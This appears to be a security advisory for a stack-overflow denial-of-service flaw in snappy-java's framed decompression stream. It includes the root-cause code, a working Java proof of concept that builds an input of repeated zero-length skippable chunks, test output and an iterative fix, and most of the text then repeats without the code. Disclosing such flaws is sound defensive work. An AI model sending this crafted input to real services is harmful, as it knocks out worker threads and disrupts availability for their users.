Uncontrolled Recursion in SnappyFramedInputStream.ensureBuffer() on Zero-Length Skippable Chunks (StackOverflowError DoS)
Summary
|
|
| Product |
org.xerial:snappy-java |
| Affected version |
1.1.10.8 (latest) |
| Component |
SnappyFramedInputStream.java — ensureBuffer() SKIP branch (return ensureBuffer();); getFrameMetaData() (minLength = 0 for reserved-skippable range) |
| Vulnerability type |
CWE-674 (Uncontrolled Recursion) |
| CVSS 3.1 |
5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| Attack vector |
Any component decompressing attacker-influenced x-snappy-framed data |
| Fix ownership |
Maintainer, in-repo (convert self-recursion to iteration) |
Trust boundary
Untrusted framed-stream bytes → SnappyFramedInputStream.read() → ensureBuffer() recurses once
per 4-byte chunk until the calling thread's stack overflows. Boundary crossed: untrusted-input →
availability of the decompressing thread.
Description
getFrameMetaData() classifies chunk flags 0x80–0xfe ("reserved skippable") with
minLength = 0, so a chunk declaring zero payload length passes validation. ensureBuffer()
handles a SKIP chunk by skipping the (zero) bytes and then recursing into itself with no depth
limit. Each zero-length skippable chunk is only 4 bytes on the wire (1 flag byte + 3-byte
little-endian length), so an attacker adds one Java stack frame per 4 bytes — an extremely
byte-efficient stack exhaustion requiring no compression, checksum, or valid data chunk anywhere.
Root cause (verified against 1.1.10.8 source)
// SnappyFramedInputStream.java — ensureBuffer()
final FrameMetaData frameMetaData = getFrameMetaData(frameHeader);
if (FrameAction.SKIP == frameMetaData.frameAction) {
SnappyFramed.skip(rbc, frameMetaData.length, ByteBuffer.wrap(buffer));
return ensureBuffer(); // unbounded self-recursion
}
// SnappyFramedInputStream.java — getFrameMetaData(), reserved-skippable range
frameAction = FrameAction.SKIP;
minLength = 0; // zero-length skippable chunk is accepted
...
if (length < minLength) { throw new IOException("invalid length: ..."); } // 0 < 0 is false
Reproduction
- OS: macOS (Darwin, arm64) · JDK: OpenJDK 25, default stack size · Library: snappy-java 1.1.10.8,
unmodified (native code not involved — pure Java stream parsing).
import org.xerial.snappy.SnappyFramedInputStream;
import java.io.*;
public class PocFramedRecursion {
static final byte[] STREAM_HEADER = {(byte)0xff,0x06,0x00,0x00,0x73,0x4e,0x61,0x50,0x70,0x59};
public static void main(String[] args) throws Exception {
int n = 20000; // 4 bytes each -> ~78 KB total
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(STREAM_HEADER);
for (int i = 0; i < n; i++) bos.write(new byte[]{(byte)0x80,0x00,0x00,0x00});
byte[] evil = bos.toByteArray();
try (SnappyFramedInputStream in = new SnappyFramedInputStream(new ByteArrayInputStream(evil))) {
in.read();
System.out.println("UNEXPECTED: no error");
} catch (StackOverflowError e) {
long c = java.util.Arrays.stream(e.getStackTrace())
.filter(el -> el.getClassName().endsWith("SnappyFramedInputStream")
&& el.getMethodName().equals("ensureBuffer")).count();
System.out.println("StackOverflowError; ensureBuffer frames in (truncated) trace = " + c
+ "; input size = " + evil.length + " bytes");
}
}
}
Actual evidence
StackOverflowError; ensureBuffer frames in (truncated) trace = 1019; input size = 80010 bytes
Binary search confirms the threshold on default stack: ~8,500 chunks (~34 KB) reliably overflows.
The stack trace is almost entirely ensureBuffer() calling itself, confirming the mechanism.
Control cases (a normal valid frame; a legitimate non-zero-length skippable chunk followed by a data
chunk) both decompress correctly — the defect is specific to the zero-length case.
Impact
A ~34 KB input consisting only of a 10-byte stream header plus a repeated 4-byte constant kills the
consuming thread with an uncaught StackOverflowError. Because it is an Error, not an
Exception, many catch (Exception e) handlers around read()/transferTo() will not catch it,
and the thread may terminate without releasing file handles / pooled buffers. In a server with
per-request/per-connection worker threads this is a cheap, repeatable availability attack.
Remediation
Replace the recursive SKIP call with an iterative loop; optionally raise minLength to 1 for the
reserved-skippable range as defense-in-depth:
private boolean ensureBuffer() throws IOException {
while (true) {
if (available() > 0) return true;
if (eof) return false;
if (!readBlockHeader()) { eof = true; return false; }
final FrameMetaData frameMetaData = getFrameMetaData(frameHeader);
if (FrameAction.SKIP == frameMetaData.frameAction) {
SnappyFramed.skip(rbc, frameMetaData.length, ByteBuffer.wrap(buffer));
continue; // iterate instead of recurse
}
// ... existing non-SKIP handling, then return true;
}
}
References
- CWE-674
- CVE-2023-43642 (prior, distinct snappy-java DoS; does not touch the framed-format SKIP recursion)
Uncontrolled Recursion in
SnappyFramedInputStream.ensureBuffer()on Zero-Length Skippable Chunks (StackOverflowError DoS)Summary
org.xerial:snappy-javaSnappyFramedInputStream.java—ensureBuffer()SKIP branch (return ensureBuffer(););getFrameMetaData()(minLength = 0for reserved-skippable range)AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LTrust boundary
Untrusted framed-stream bytes →
SnappyFramedInputStream.read()→ensureBuffer()recurses onceper 4-byte chunk until the calling thread's stack overflows. Boundary crossed: untrusted-input →
availability of the decompressing thread.
Description
getFrameMetaData()classifies chunk flags0x80–0xfe("reserved skippable") withminLength = 0, so a chunk declaring zero payload length passes validation.ensureBuffer()handles a SKIP chunk by skipping the (zero) bytes and then recursing into itself with no depth
limit. Each zero-length skippable chunk is only 4 bytes on the wire (1 flag byte + 3-byte
little-endian length), so an attacker adds one Java stack frame per 4 bytes — an extremely
byte-efficient stack exhaustion requiring no compression, checksum, or valid data chunk anywhere.
Root cause (verified against 1.1.10.8 source)
Reproduction
unmodified (native code not involved — pure Java stream parsing).
Actual evidence
Binary search confirms the threshold on default stack: ~8,500 chunks (~34 KB) reliably overflows.
The stack trace is almost entirely
ensureBuffer()calling itself, confirming the mechanism.Control cases (a normal valid frame; a legitimate non-zero-length skippable chunk followed by a data
chunk) both decompress correctly — the defect is specific to the zero-length case.
Impact
A ~34 KB input consisting only of a 10-byte stream header plus a repeated 4-byte constant kills the
consuming thread with an uncaught
StackOverflowError. Because it is anError, not anException, manycatch (Exception e)handlers aroundread()/transferTo()will not catch it,and the thread may terminate without releasing file handles / pooled buffers. In a server with
per-request/per-connection worker threads this is a cheap, repeatable availability attack.
Remediation
Replace the recursive SKIP call with an iterative loop; optionally raise
minLengthto 1 for thereserved-skippable range as defense-in-depth:
References